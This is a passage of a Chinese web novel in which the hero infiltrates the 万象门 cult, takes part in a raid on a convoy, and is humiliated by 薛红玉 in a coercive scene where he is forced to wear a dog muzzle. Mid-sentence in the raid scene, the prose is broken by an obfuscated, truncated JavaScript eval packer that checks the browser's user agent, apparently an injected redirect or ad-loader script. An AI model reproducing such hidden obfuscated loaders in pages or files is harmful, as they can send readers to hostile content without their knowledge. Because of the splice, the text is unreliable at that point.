段星河在椅子上坐下了,道:“很顺利,明天晚上就正式加入了。” 他一向胆大心细,步云邪知道他肯定能全身而退,没说什么。段星河道:“我不急着走,明天再陪你一天。” 步云邪的心情好了一些,道:“你吃饭了么?” 段星河还饿着肚子,看了一眼天色,快到傍晚了。他道:“没吃呢,你吃了么?” 步云邪道:“没呢,一起去吧。” 两人下了楼,一会儿功夫,其他人也陆陆续续下来了。司空玉见他回来了,十分高兴,道:“段大哥,你回来啦?” 段星河道:“嗯,在附近转了转,没有卖上等天麻的,后天去凤来城看一眼。” 司空玉心里知道他去哪儿,打哑谜似的道:“那你可多加小心,那地方的人都挺凶的,说不定还有跟你有过节的人。” 段星河低声道:“没事,我戴个面具,他们认不出来。” 墨墨好几天没见它爹了,眼睛亮晶晶的十分兴奋。赵大海抱着它从楼上下来,墨墨老远就扬着鼻子,一双翅膀一个劲儿地扑腾,要往它爹怀里钻。段星河一把将它接了过来,连头带背地摸了几下,道:“想我了是吧,我也想你了!” 他撕了块鸡腿肉喂给儿子,墨墨吃的很开心。段星河又掰了块馒头,慢慢地喂给它。墨墨吃完了,蹭了蹭段星河的手心,乖巧的不得了。 吃完了饭,段星河回屋给了伏顺十两银子的坐牢费。伏顺小心翼翼道:“哥,咱俩混进去挺危险的吧,万一受伤了怎么办?” 这兄弟虽然不错,但多少有点掉到钱眼里了。段星河叹了口气,道:“一天给你五两银子,出来给你结账。” 伏顺忸怩道:“哥你老谈钱干什么,咱们兄弟之间算这么清楚太伤感情。” 段星河道:“不要啊 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段星河的心跳的快了起来,自从来到永夜城,他还是头一次近距离观看这座宅邸,感觉仿佛一片黑色的潮水扑面而来,把人拉进了无尽深沉的海底。 孙堂主走到近前,几名侍卫轰然一声开启了大门,众人走进了永夜城的核心。这里就是夜游神曾经住过的地方,虽然已经有几百年的历史了,建筑依旧宏伟坚固。这里的主人已经离开了许久,但余威仍在,宅子里到处弥漫着一股阴沉强大的气息。 庭院里有些穿黑色劲装的侍卫,也有身穿白袍的伥鬼。大半夜一个个白衣人提着灯笼在宅子里乱晃,那情形实在让人毛骨悚然。那些伥鬼都有影子,是万象门最底层的部属,见了孙堂主纷纷退到路边,深深地低着头,对他十分恭敬。 段星河不动声色,眼睛看着周围的路,默默地记着地形。正前方是个大厅,再往后有些楼阁,又有几排侍卫房,到处都守卫森严。越往深处,屋舍建造的越华丽神秘,就像宫殿一般。万象门的秘密应该都藏在大宅的深处,等在这里混熟了,得想个办法进去看看才是。 一群人跟着孙堂主过了一进院,来到了一间厅堂中。这里是他们的祠堂,上首正中挂着一条大蛇的画像,它长着一双红眼睛,额心一点幽蓝,背后的双翅向两侧展开,跟他们在虺神洞的壁画上见过的一样。 孙堂主庄严道:“这就是咱们万象门至高无上的虺神,它创造了这个世界,无处不在,无所不能,常以大蛇的形象示人,但那也只是它老人家万千法身之一。它可以赐予信徒想要的一切,条件是你们要向它献上你们的忠诚。” 众人纷纷道:“我等愿意!” 孙堂主道:“很好,那就向虺神叩头吧。” 一名白衣伥鬼在前面带领,众人跪倒在虺神的画像前,对它磕了十个头。段星河虽然磕头,心里想着的却是三清,暗道:“弟子今日不得已向邪物磕头,并非发自本心,万万做不得数。” 周围的幔帐低垂着,幽红的烛火微微跳动。旁边几名白衣伥鬼站着,齐声道:“入我虺门,奉我虺神。千机万象,唯我独尊。” 众人也跟着念了一遍,气氛阴沉沉的。虺神像旁边悬着一副黑衣男子的画像,画中的人身材魁梧,穿着一身铠甲,脸上戴着银色的面具,挡着半张脸,露出高挺的鼻梁和锋利的下颌。孙堂主指着那张画像道:“这位是夜游神,也就是夜尊。” 大家对夜游神一向都是只闻其名,如今一见,觉得他气势威武,着实是个枭雄。段星河来就是为了看他的,见了夜游神的画像,感觉跟自己想象的差不多,又有些隔靴搔痒的感觉。他想亲眼看看他的容貌,更想知道他到底是怎样的一个人,能拥有那么多信徒,让每个人都对他死心塌地。 伏顺小声道:“还挺帅的。” 段星河道:“又没露脸,哪帅了?” 伏顺道:“半张脸就这么帅了,露全脸那还得了。” 孙堂主道:“夜尊是虺神的左护法,是它最忠诚的信徒,法力高强,也是这里的主人。你们向他磕九个头。” 众人照做了,孙堂主又指着上首另一侧的一张画像道:“这是咱们这一任的教主纪秋暝,你们向他再磕九个头,便算是拜他为师了。” 画上的人约莫四十来岁年纪,穿着一身青色的道袍,脸上戴着个青铜面具,看起来道骨仙风的,跟夜游神又是不一样的风度。众人对纪教主磕过了头,感觉脑浆都摇匀了。孙堂主一招手,一名白衣伥鬼拿来了一张画卷,展开来放在了地上,上头的人已经模糊了,还弥漫着一股难以言喻的臭味。 有人道:“不会还要磕头吧?” 孙堂主扬起嘴角一笑,道:“这是咱们虺教的叛徒,日游神。数百年前,虺神修养期间,裴千秋离开了主教,创立了千机门,把咱们的虺教一分两半。他门下所有人都是咱们的敌人,你们每个人都踩他一脚。” 段星河十分诧异,他之前见过千机门的人,感觉他们还算好说话,行事也没有那么鬼蜮,顶多是一群对机关狂热的人罢了。没想到万象门的人这么恨他们,入门都要踩他家祖师爷,难怪之前渠阳子要用机关兽去轰炸那些伥鬼。 伏顺排在第一个,生怕踩破了,上去小心翼翼地蹭了一下。孙堂主叱道:“使劲儿,你没吃饭么!” 伏顺只好用力跺了一脚,在日游神脸上留了个硕大的脚印子。那纸张应该用法力加持过,相当坚韧,被几万个人踩过了依然没有破裂。后头的人接二连三地上去踩,把日游神的脸踩得乌漆嘛黑。孙堂主很满意,道:“这就是叛徒的下场,你们要引以为戒!” 众人纷纷道:“是。” 一名伥鬼将万象门的教义朗声念诵给他们听,第一,永远尊崇虺神,服从它的任何启示,为它献上一切包括灵魂;第二,服从上级的一切要求;第三,保守组织的全部秘密…… 段星河听了一遍,感觉没什么有用的,看来想要知道他们深层的秘密,还得自己想办法去探索。 新加入的人都是最低等级的见习者,孙堂主把身体好能打的分出来,发给他们一身黑色的侍卫服,让他们站岗放哨,叫做玄鬼。另一部分有特殊才能的分到了白袍,成为了伥鬼。 那个打铁匠看着身上的黑衣裳,觉得有点大材小用了。他觉得凭自己的本事,一来肯定会被重用,没想到却要从站岗做起。他有些不甘心,孙堂主看了他一眼,道:“你有话说?” 铁匠粗声道:“俺这一身本事是要为大人物效力的,可不是来看门的!” 孙堂主哈哈一笑,拍了他肩膀一记,道:“有上进心是好事,但进了咱们万象门就得一步步来。先耐住性子锻炼一段时间,只要有能力,上头的人会抬举你们的。” 段星河和伏顺被分到了玄鬼里,有人领他们去了住的地方。屋里是大通铺,从东到西躺了七八个人,晚上打呼噜磨牙都在一起。哥俩互相看了一眼,感觉条件有点凑合。伏顺道:“哥,你什么打算?” 段星河低声道:“来都来了,混钱呗。” 旁边有人听见了,仿佛觉得他们没什么大出息,对他们嗤之以鼻。伏顺知道他的意思是先混着,找机会再挖掘这里的秘密,道:“我都听你的。” 通铺的另外一头,有人低声道:“听说明天有大人物要过来,咱们要是表现得好,说不定一下子就被提拔了。” 另一人道:“多大的人物?” 那人道:“不知道……反正比孙堂主大。哎,赶紧睡觉,把精神养足了最重要。” 段星河暗中留了意,也不知道这消息准不准。片刻屋里传来一阵阵鼾声,段星河也闭了眼,一会儿功夫就睡着了。 83.永夜城 五 次日一早,段星河穿上了黑色的侍卫服,佩着腰刀,成了这里的一名玄鬼。孙堂主安排他和伏顺去守着花园,那里不是什么要紧的地方,机要的地方也不会让他们几个新人站岗。 段星河站了一上午,默默看着周围的情形,想把地形摸清楚。到处都是松柏,远处是一些高大的楼阁。他借着解手的机会在附近转了一圈,从花园往前就是他们来时的前院,往后就是他们拜师的祠堂。偶尔还有些外人戴着面具往更深处走去,那些人应该是城中有身份的大伥,是来这里集会的。 这地方的等级很森严,伥鬼和玄鬼要立了功才能升级成为大伥,这个过程可能一年半载,也可能三年五年,能不能升上去全靠运气。低等级的人要无条件服从高等级的人的吩咐,很多秘密也只有高等级的人才能知道,上层的待遇也比下层好得多。因此加入进来的人都拼命想要立功,竭尽所能地往上爬。 还有一些非人的伥鬼,也不知道是怎么召唤来的。那些真正的伥鬼怕阳光,白天就都藏起来了,一到夜里就神出鬼没的。这里的人都已经习惯了,对它们视而不见,新来的人却被吓得不轻。 昨天夜里那个打铁匠起来解手,刚解开裤子,就见旁边来了个人。那家伙跟他并排站着,仿佛要跟他一起搭伙尿尿。打铁匠觉得这人怪怪的,低头一看它没有影子,飘在半空中也没有脚。打铁匠被吓得不轻,连滚带爬地冲回了屋里,连声道:“鬼、鬼啊——” 其他人揉着眼坐起来,纷纷道:“怎么啦?” 一个待得久一些的人道:“叫什么!” 打铁匠吓得尿了一鞋,裹着被子直打哆嗦,道:“有鬼,真的是鬼,不是人扮的!” 伥鬼穿着一身染血的白袍,在走廊里飘飘荡荡的。那人看了一眼,道:“不用管它,被咱们的人杀了就会变成伥,这玩意儿乖得很,不害自家兄弟。” 其他人都怕的要命,根本不信。那人吹了个口哨,道:“转个圈。” 那伥鬼便漂浮在空中打了个旋儿,跟自家养的狗子似的。那人道:“这些兄弟是刚来的,你别在这儿溜达,去吧。” 那伥鬼便飘忽忽地离开了。段星河道:“这东西跟人扮的伥鬼有什么区别?” 那人道:“这是最下等的使役鬼,脚程快,传令很好使。它们没什么脑子,也不知道害怕,打起架来让它们冲锋陷阵挺好使的。这种伥鬼修炼好了能融合成大伥,专门为大人物做使役鬼。” 段星河很感兴趣,道:“怎么融合?” 那人看了段星河一眼,仿佛觉得他问的太多了,道:“上头的人自然有他们的法子,你一个站岗放哨的,管这么多干什么?” 段星河笑了,道:“就是好奇。” 那人冷冷道:“这地方知道多了没什么好处,别瞎打听。” 值完了上午的班,有人来替他们。玄鬼不当班的时候可以在宅子里走动,也可以出去买点东西,但不能去太远的地方。段星河寻思着夜长梦多,低声道:“今天先在宅子里逛逛。” 伏顺跟着他过了前头两进院,这里还是他们能活动的范围。再往前守卫森严,是一些有身份的人物聚会的地方。段星河绕到了院子侧面,见左右无人,一跃翻了过去。伏顺也是爬墙钻洞的行家,嗖地一下过了墙。 二人往前走了一阵子,这边比别处更加静谧,建筑也跟先前有些不同,檐角飞扬着,显得颇有气势,屋前有个莲花池。段星河低声道:“这里应该就是夜游神当年的寝殿了。” 伏顺道:“进去瞧瞧么?” 正前方有些玄鬼把守着,段星河见侧面窗户开着,他一招手,伏顺便跟着他潜了过去。 两人趁人不备,从窗户翻了进去。大殿里的陈设十分华丽,地上铺着长绒毯子,家具都是绿檀雕的,正前方摆着个鎏金的交椅,桌上摆着的器具不是金的,就是玉的,深蓝的幔帐垂着,掩着深处的寝殿。 两个穿着粉色衣裙的侍女端着盘子向外走过来,段星河和伏顺连忙躲在了帷幔后面。侍女没注意到他们,低声道:“收拾好了么?” 另一人道:“都收拾好了,随时能休息。” 侍女道:“主子眼里不揉沙子的,等会儿再检查一遍。” 另一名侍女道:“是。” 两人出去了,段星河悄然走了出来。他穿过大殿往后走去,伏顺有点紧张,道:“哥,小心点啊。” 段星河凝神感受过了,这里没人了,这样的机会极其难得,要找什么得赶紧。他快步往寝殿走去,见侧面有一张华丽的大床。靠墙放着几排书架,摆放的都是一些寻常解闷儿的书,大部分有图,还有些万象门的修炼秘籍。 他拿起一本来看了看,是给大伥等级的人用的功法,没什么大用,但总聊胜于无。他递给了伏顺,伏顺便把书塞进了怀里。两人到处张望了一圈,见前头还有一间屋子。 那间屋子里放着个丹炉,墙体比别处更厚实,这里应该就是夜游神修炼的地方。一面墙上垂着厚厚的帷幔,里头影影绰绰的,似乎有个人。伏顺吓了一跳,小声道:“哥,你看——” 两人还以为被发现了,那人却站着一动不动,再仔细一看,原来是一幅壁画。 段星河哗地一下子拉开了帷幔,就见一个高大的男人戴着面具,威严地看着这边,仿佛要替虺神传播它的意志。 这幅画跟入门时见到的那幅很像,伏顺道:“他就是夜游神吧,这宽肩窄腰的,确实帅啊。” 段星河却觉得有些遗憾,没想到都来到这里了,还是看不到夜游神的真面目。这人也不知道是不是作孽太多,走到哪里都不以真面目示人。 接下来的几张壁画里,有的是他站在山巅之上俯瞰众生,有的是他在东海之畔与蛟龙搏斗,都是他战胜敌人的功绩,万象门的信徒单膝跪在地上,都对他十分崇拜。然而角落里有一张图,跟其他的壁画都不一样,让人看到的一瞬间便心生恐惧。 夜游神手里拿着一柄重剑,刺穿了一个人的身体。他周围横七竖八地躺着些人,有的脖子上缠着绳子,有的头颅被砍了下来,每个人的表情都狰狞可怖,加起来一共有七具尸体。 那些人都佩戴着金色的腰牌,是教中等级最高的鬼众,却不知为什么都死了。伏顺倒抽了一口凉气,道:“这是怎么回事?” 一名女子道:“这些人都是夜尊的侍卫,触怒了他老人家,被他用刑具一一处死。大家把壁画留在这里,就是让后人警醒,对上位者要绝对忠诚。” 两人吓了一跳,回过头去,却见站在自己身后的居然是薛红玉,那个大个子阿蚺站在大殿里,原来昨天那些人说要来的大人物就是她。她走路像蛇一样悄无声息,两人一时间放松了警惕,被她逮了个正着。 段星河平日里觉得薛红玉的身份也没有多高,没想到她还是这么多人眼里的大人物。她是纪教主跟前的红人,来到永夜城代表的是纪秋暝的身份,自然比孙堂主尊贵多了。 她没认出他们来,道:“你们两个鬼鬼祟祟的进来干什么?” 段星河只能装傻,道:“宅子太大,我们走错了。” 薛红玉端详着他俩,道:“新来的?” 伏顺道:“是,小人是新来的,不熟悉路。” 薛红玉见他身形瘦弱猥琐,不耐烦道:“跟你说话了么。” 她看向段星河,觉得这人倒是生的高大魁梧,有些看头。她懒懒道:“搜一搜,看他们有没有偷东西。” 几名玄鬼一拥而上,把他俩按在地上摸了一通,掏出了一本修炼的功法。一人捧到薛红玉跟前,道:“赤练使,他们偷了本书。” 薛红玉看了一眼,见上头写着妖灵心法,也不是什么特别机密的东西,凡是大伥都人手一份。她道:“偷这个干什么?” 段星河反应极快,道:“小人想学些本领,早日成为大伥,好多挣些钱养家。” 伏顺也道:“对不起,我们太想进步了。” 那两人被按在地上,一副倒霉的模样。薛红玉长途跋涉而来,不想一进门就又打又杀的,冷冷道:“想活命的话就管好自己,不该看的别看,不该碰的别碰。再敢到处乱走,我就杀了你们!” 段星河和伏顺连忙低头,道:“是。” 薛红玉一摆手,玄鬼便放了他们。两人站起来,就见孙堂主带着几个人大步赶了过来。阿蚺瞪了他们一眼,嫌他们不懂规矩,道:“乱晃什么,站着别动。” 两人便退到了一边,正好听听他们说什么。孙堂主进了大殿,右手握成拳按在左心口上,向薛红玉行礼。薛红玉头上戴着金额饰,坐在上首的鎏金交椅上,鲜红的石榴裙拖在宝蓝色的地毯上,极其美艳妖娆,就像一条盘踞着的赤练蛇。以前这里是夜游神坐的地方,如今他不在了,薛红玉便占据了他的宝座。 孙堂主道:“恭迎赤练使,不知赤练使大驾光临,有何吩咐。” 薛红玉道:“浩荡盟那帮人最近不安分,打伤了咱们不少兄弟,教主让我出来管管他们。这边人手够么?” 孙堂主恭敬道:“最近又招纳了不少新人,总共有八百来个,全听赤练使调遣。” 薛红玉看了一眼大殿外,一个个玄鬼站的像标枪一样,觉得新招的这批人质量还不错。她翘起了二郎腿,道:“明天一早给我二百个人。听说浩荡盟有批镖货要从北边过来,咱们去杀他个人仰马翻,让刘正锋知道咱们万象门不是好惹的!” 孙堂主道:“是。” 段星河在一旁听见了,目光微动。浩荡盟的人虽然跟自己有些小过节,但相比起来,还是万象门的人更讨人厌。他本身的立场居于这两者中间,不想管太多闲事,但浩荡盟毕竟是凤神那边的人。如果有机会,自己还是得想办法把消息放出去。 薛红玉打了个呵欠,道:“行,你去安排吧。给我准备点水,我要洗澡。” 孙堂主便躬身退了出来,走到庭下一招手,段星河和伏顺便跟过去了。两人出了院子,孙堂主停下来,抡圆了胳膊给了伏顺一个大逼斗,道:“谁让你们上这儿来的?” 伏顺冷不防被他打懵了,捂着脑袋道:“我俩吃了饭想在附近转转,结果这地方太大了,到处都差不多,我们不小心就走到这里来了。” 孙堂主抬手又是一巴掌,段星河反应快,一闪身躲过了。伏顺又挨了一下子,委屈道:“堂主,你不能老打我一个啊!” 孙堂主冷着脸道:“少跟我贫,今天赤练使心情好,没杀你们就算你们命大。去前庭罚站,天黑之前不准回去!” 伏顺脑瓜子被他打的嗡嗡的,只能自认倒霉。两人穿着薄袄站在前庭罚站,被寒风吹得直打哆嗦,伏顺打了个喷嚏,道:“哥,我好冷啊。” 段星河往前挪了半步,道:“站我后头。” 他虽然身材高大,也挡不了多少风,伏顺心里还是安慰了一些,感觉刚才挨的打也没有那么亏了。两个人一直站到傍晚,正想回去歇会儿。这时候就听一阵哨声响,四面八方的人都往中庭跑过去,却是孙堂主喊人集合了。 打铁匠手里提着一包烧鸡,从旁边冲过来,连饭都来不及放下,扭头道:“愣着干什么,兄弟,站队啦!” 旁边又有人嚷道:“快快快,迟了要倒三天尿桶的!” 两人打了个激灵,连忙跑了过去,挤到人群中站好了。这会儿正是饭点,玄鬼们都在自由活动,有人刚从街上买饭回来;有人正在洗头,脑袋还是湿的;有人衣服穿了一半,敞着怀就跑过来了。 孙堂主看着这群新人狼狈的样子,负手走了一圈,道:“很好,既然加入了万象门,就要遵守组织的纪律。不管你们正在做什么,集合声一响,就要立刻赶过来!” 众人放声吼道:“是!” 孙堂主下午已经点集了一些精锐,准备明天跟赤练使出门打架。薛红玉白天见了段星河他们,觉得新招的这一批人有些意思,叫孙堂主带几个一起去,好让他们见见世面。 孙堂主便把人集合起来,道:“教主座前的赤练使来了,明天要出一趟任务。这是个千载难逢的好机会,需要五个人,你们谁愿意去?” 众人静了片刻,那打铁匠一直想出人头地,往前迈了一步。先前那个镖局的杨镖头也往前迈了一步,表示愿意前往。段星河正想去瞧瞧热闹,便站了出来,伏顺也跟着他迈了出去。孙堂主随手又从人群中揪出一个胖子,道:“四缺一,你愿不愿去?” 那胖子原本是个厨子,不敢拒绝,道:“愿意、小人愿意。” 孙堂主道:“好好休息,明天听指挥,干得好有赏!” 那五人纷纷道:“是。” 孙堂主一摆手,众人便散去了。 次日一早,队长带着二百个玄鬼在前庭集合。段星河等人站在最后面,他们是新来的,领口露出一道白边,其他人的里衣也是黑色的,新人老人一看便知道区别。薛红玉环视了他们一圈,道:“浩荡盟的人对咱们虺神不敬,杀害咱们的兄弟,打压咱们的信徒,咱们能忍得了这口气么?” 玄鬼们吼道:“不能!” “很好,”薛红玉满意道,“他们的人押了一批镖货从北边来,咱们去给他劫了,让浩荡盟的人知道咱们的厉害!” 玄鬼们纷纷道:“听凭赤练使吩咐!” 薛红玉一扬手,玄鬼们纷纷上马。宅邸的府门大开,一群人浩浩荡荡地往东而去。凤来城和永夜城之间不算太远,骑马有五天的路程。 薛红玉带人赶了两天路,提前到了地方埋伏下来。薛红玉怕烧火做饭会暴露行迹,让人只吃了点冷的干粮,一群人把马牵到树林里藏起来,就地休息。打铁匠百无聊赖道:“就这么干等着啊,他们什么时候来?” 杨镖头坐在一块大石头上,看着周围的地面。他常年押镖,对来往的路很熟悉,道:“从北边去凤来城,这里是必经之路。咱们来的时候地上没有车辙和马蹄印,他们还没到。明天傍晚之前,肯定能等到他们。” 那厨子啃着干瘪的大饼,感觉一点滋味都没有。段星河来之前也没找到机会把消息放出去,这次浩荡盟的人要是被劫了,只能怪他们运气不好。 玄鬼们在树林里睡了一宿,天亮时浩荡盟的人还没来,他们人先快冻死了。伏顺呼出了一口白气,道:“有好日子不过,上这儿来受罪……真是钱难挣屎难吃。” 旁边一人道:“少抱怨,刚来就让你们出任务,是上头瞧得起你们,别不识抬举!” 伏顺只好闭了嘴,坐在大树边啃饼,一边道:“什么时候来啊。” 这时候大地一阵颤动,似乎有不少人朝这边来了。他把脑袋贴在地上听了一会儿,激动道:“来了,来人了!” 有人爬到树上向远处张望,见从北边来了一队人,前头十来个人开路,中间押着十来辆大车,后头又有几十个人压阵,车上竖着一杆蓝底大旗,上头绣着旋涡状的太极图纹样,正是浩荡盟的标志。 放哨的人抱着树溜下来,奔去跟赤练使报了信。薛红玉早就等的不耐烦了,站起来道:“兄弟们,准备迎战!” 浩荡盟的人一路没遇到波折,本以为能顺利把东西运到凤来城,没想到该来的还是没躲过。车队驶到近前,就听林子里传来一声唿哨,万象门的玄鬼们从四面八方涌了出来。一群人等了一宿,此时磨刀霍霍,非要打他们一个人仰马翻不可。刘正锋还在凤来城中坐镇,对此一无所知。等消息传到他耳朵里,他的这些小弟都要被打残了。 带头的是个老镖师,一看对面的人这身打扮就知道了他们的来路。他抱拳道:“几位朋友,我们是浩荡盟的,从此地路过。不知几位有何贵干?” 阿蚺手里提着一把大砍刀,粗声道:“找的就是你们浩荡盟的。你们杀我万象门的兄弟,欺侮我们的信徒,咱们今天来关照关照你们,这叫礼尚往来。” 他大手一挥道:“车还挺多,兄弟们,去看看有什么好东西!” 几名玄鬼提着刀过去,浩荡盟的镖师挡在车前,道:“不准动。” 阿蚺冷笑一声,道:“就凭你们几个还敢跟我们作对,不让动是吧,给他把车掀了!” 一群玄鬼一拥而上,提起刀剑就砍。浩荡盟的人拔出兵刃抵挡,一边喊道:“兄弟们,跟他们拼了!” 双方叮叮当当地打在了一起,打铁匠觉得发达的机会来了,提着大刀就要往上冲。那厨子一把拉住了他,道:“兄弟,小心啊,咱们犯不上刚来就拼命!” 打铁匠道:“不用怕,让他们见识见识老子的刀有多厉害。” 杨镖头也道:“我们都会功夫,你要是害怕就找个地方藏着吧。” 那厨子实在怕死,躲在了一片灌木丛中。段星河本来就想混一混,没想到对面几个人提着刀直接朝他过来了。段星河道:“喂,有话好好说——” 对面的人根本就不管那么多,提刀就砍,段星河只好举刀招架。那一群玄鬼十分凶蛮,一会儿功夫就把对面的车都掀了,划破了麻袋。里头像流水一样淌出了许多金银珠宝,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浩荡盟的众人便聚在一起,跟着那人逃走了。段星河提着刀佯做追了几步,大声喊道:“别跑啊,回来!” 那帮人倒也不傻,往树林里一钻,眨眼间便不见了身影。 这边离凤来城不远,那些人回去通风报了信,刘正锋很快就要赶过来。薛红玉本来就是要打他们个措手不及,也没打算久待。她看了一眼地上的东西,其中有不少金银首饰。她十分满意,道:“很好,把东西收拾起来,咱们回去了。” 玄鬼们驾着大车,骑着马向西而行,算是满载而归。众人怕刘正锋他们追上来,连着赶了一天一夜的路,次日中午回了永夜城。 薛红玉让众人先去休息,隔天孙堂主笑容满面地来了,让人带了一盘银子过来,道:“事办的不错,这是赤练使赏你们的,凡是去的每人二十两银子。” 其他玄鬼都已经领了赏钱,就剩下这几个新来的没拿到了。伏顺一个箭步上去拿了两锭银子,在怀里蹭了蹭,眉开眼笑道:“多谢孙堂主,多谢赤练使。” 其他人也各自拿了赏钱,没去的人很羡慕他们。孙堂主道:“那谁……你,叫什么?” 他看着这边,段星河道:“小人李大壮,这是我弟李老二。” “没问他,”孙堂主对伏顺不感兴趣,只看着段星河道,“你表现不错,赤练使抬举你,让你做副队,以后这些新来的就归你管了。有不懂的问正队,好好学着点。” 段星河啊了一声,没想到这么快就升官了。孙堂主道:“啊什么啊,你不是挺想进步的吗?” 他说着一招手,一名白衣伥鬼上前来给了他两件黑色的里衣,这样就跟那些老资格的玄鬼一样了。还有上次没能拿出来的那本妖灵心法,也一并赏给了他。 孙堂主道:“赤练使说了,愿意学本事是好事。等你把这本书看明白了,她还赏新的秘笈给你。” 队长看了这边一眼,不知道这小子使了什么迷魂术,这么快就吸引了赤练使的注意,对他有点嫉妒,又很是不屑。 段星河也不知道薛红玉怎么老盯着自己,都换了张脸了,她居然还跟自己没完没了的。打铁匠十分羡慕,粗声道:“兄弟,你怎么混的,教教我呗。” 段星河沉默着,心里宁愿她别老盯着自己,压力这么大,说不定哪一会儿就露馅儿了。 孙堂主道:“把这身脏衣裳换了,洗把脸梳梳头,一会儿去后头见赤练使。她有事吩咐你。” 段星河有些诧异,道:“找我做什么?” 孙堂主的表情有点暧昧,含糊道:“让你去你就去,那么多废话干什么。” 他说着一拂袖,转身走了。段星河坐在大通铺上,寻思了片刻,感觉事情有点不妙。伏顺凑过来,低声道:“哥,你真厉害啊。在哪儿都能混的这么好,这么快就当上头牌了。” 段星河不爽道:“什么头牌,你会说话不会?” 伏顺连忙道:“副队、副队。二师兄再不好起来,你都能在这儿当上堂主了。” 正队往这边看了一眼,道:“嘀嘀咕咕的干什么,赤练使让你去,你怎么还不动?” 段星河没办法,只好把外衣脱下来,换上了黑色的里衣。他出去洗了把脸,伏顺跟上来道:“哥,我和你一起去。” 段星河嗯了一声,和他一起往后头去了。上回两人擅自摸过来,被罚站了大半天,这回畅通无阻,段星河反而不想来了。时值黄昏,薛红玉坐在大殿里,身边站着几个白衣伥鬼,又有几个玄鬼匍匐在地上。 玄鬼都生的精壮结实,赤裸着上半身。薛红玉闲来无事拿他们取乐,她从水晶盘里拿起一个红彤彤的橘子,道:“想吃么?” 一群玄鬼趴在地上,盯着她雪白的手,目光极其渴望。薛红玉把橘子往地上一抛,玄鬼们立刻冲上去抢夺那一个橘子。薛红玉笑的前仰后合,道:“抢得好,谁抢赢了,本座重重有赏!” 那些人毫无尊严,就像一群狗一样,不但龇牙咧嘴,还汪汪直叫。段星河进来时,见一群半裸的男人正在互相撕咬,震惊地停住了脚步。薛红玉看向了他,招了招手道:“等你好久了,过来。” 段星河缓步走过去,眉头抑制不住地皱了起来。薛红玉道:“别怕,本座看你资质不错,打算抬举你。只要你听我的,包你有享不尽的荣华富贵。” 段星河往后退了一步,显然不想领她的情。然而地上趴着的那些人却十分嫉妒,一个个恶狠狠地盯着他,眼里几乎要冒出火来。 薛红玉一把揪住了他的衣领,把段星河拖到跟前去。周围的白衣伥鬼对此视而不见,趴在地上的那些玄鬼则像狗一样,匍匐着不敢动弹。薛红玉伸出一根手指,轻轻拨开他的领口,慢慢往下划去,充满了挑逗之意。段星河心里一阵窝火,要是在外头,自己根本不会给她近身的机会,如今陷在虎狼窝里要被这妖女摆布。 他来之前只想卧底,可没打算失身。他让开一步,一手按住了衣襟道:“赤练使,这样不妥。” 薛红玉微微一笑,道:“这么大人了还会害羞。脸皮薄的好啊,调教起来更有意思。” 段星河正色道:“我家里有个青梅竹马的定亲对象,我出来挣钱就是为了娶她的。” 薛红玉一副无所谓的模样,道:“那叫她一起来啊。咱们万象门的人都是兄弟姐妹,不用讲究外头那套。肉/体融合了,精神才能亲密无间,极致的快乐也是献给虺神的贡品。” 谁家正经人会把未婚妻带来搞这乱七八糟的,段星河觉得她是疯了,冷冷道:“我做不到。” 刚来的多少都有点要面子,不少像倔驴一样的人最后还是被驯服了。薛红玉也不以为忤,道:“这你就受不了了,你还没见过拜月教的人呢。论起玩的花,咱们都要甘拜下风。” 段星河道:“什么拜月教?” 薛红玉笑了,腻声道:“你什么也不懂,小笨蛋。来,给他把东西戴上。” 一名白衣伥鬼出去了,片刻从外面牵了一条大狼狗进来。狼狗生的个头高大,浑身黝黑,牙齿雪白,不知是不是吃过人肉,眼睛里透着血红色,不住有口水从嘴角滴答下来。它嘴上戴着个铁嘴套,用皮带紧紧地扣在后脑上,带着一股逼人的气势。 一名伥鬼上前把狼狗的嘴套取了下来,来到了段星河面前。段星河有种不好的预感,皱眉道:“干什么?” 屋里的人都十分兴奋,薛红玉翘起了二郎腿,好整以暇地看着他。那名伥鬼嘿嘿一笑,道:“干什么,马上你就知道了!” 84.永夜城 六 铁嘴套上带着红褐色的血迹,上面还散发着狼狗强烈的气味。段星河往后退了一步,想要冲出去。狼狗弓起了背,要攻击猎物。一人按住了它的脑袋,呵斥道:“等会儿,人还没死呢,这不是给你吃的。” 薛红玉淡然道:“按住他。” 两名玄鬼冲了上来,分左右把段星河按在了地上。段星河不住挣扎,怒道:“放开我!” 他若是真翻了脸,这些人也不是他的对手。只是他要查的东西还没查到,不能就这么暴露了身份,不能使出全力来。他心中愤然,暗道:“虎落平阳被犬欺,这帮混蛋……” 伏顺也急了眼,道:“喂,你们干什么!” 有人过去按住了伏顺,道:“老实点!” 一人揪住了段星河的头发,拽得他仰起头来,另一人把嘴套戴在了他脸上,动作十分粗暴。铁嘴套上还散发着狼狗的气味,十分难闻。段星河想摘下来,几名玄鬼却把他牢牢地按在地上,让他动弹不得。 这些人刚来的时候都受过这样的罪,只要是被薛红玉看上了的,都免不了要被当成狗玩弄。他们当初觉得十分屈辱,如今却已经习以为常,还以折磨新来的人为乐。 段星河的骨相长得好,就算易了容也是个帅气的青年。这么个大小伙子脸上戴着铁嘴套,有种强烈的野性。段星河眼里透出了杀气,心道:“臭婆娘,你给我等着!” 薛红玉看出他恼火来了,笑道:“呦,脾气还挺大。被本座看上的人都要从狗做起,你不愿意,有的是人愿意呢。不信你瞧,谁想做我的乖狗子啊?” 她话音未落,下头的一群玄鬼争先恐后地叫了起来,汪,汪汪,汪汪汪! 叫声此起彼伏,十分激烈,那条狼狗也跟着叫了起来。一人推了伏顺一把,道:“你怎么不叫?” 伏顺寻思着敌众我寡,还是小命要紧,于是也跟着叫了起来,汪,汪汪。 段星河咬着牙,虽然没叫,但愤怒的模样像极了一条龇牙的狼狗,好像要把宝座上的人吞吃入肚。薛红玉就喜欢他这么凶狠的样子,掩口笑道:“你生气啊,你越生气,我就越喜欢。” 她抬脚轻轻一踢,把鞋子踢掉了,露出了一只白皙的脚。她居高临下道:“乖狗子,爬过来。” 下头那些玄鬼的眼睛都亮了起来,恨不能过去亲吻她的脚。薛红玉只让段星河过去,他却不识好歹,半天也不动一动。一名白衣伥鬼抬脚踢了段星河屁股一记,道:“让你过去,听不见啊!” 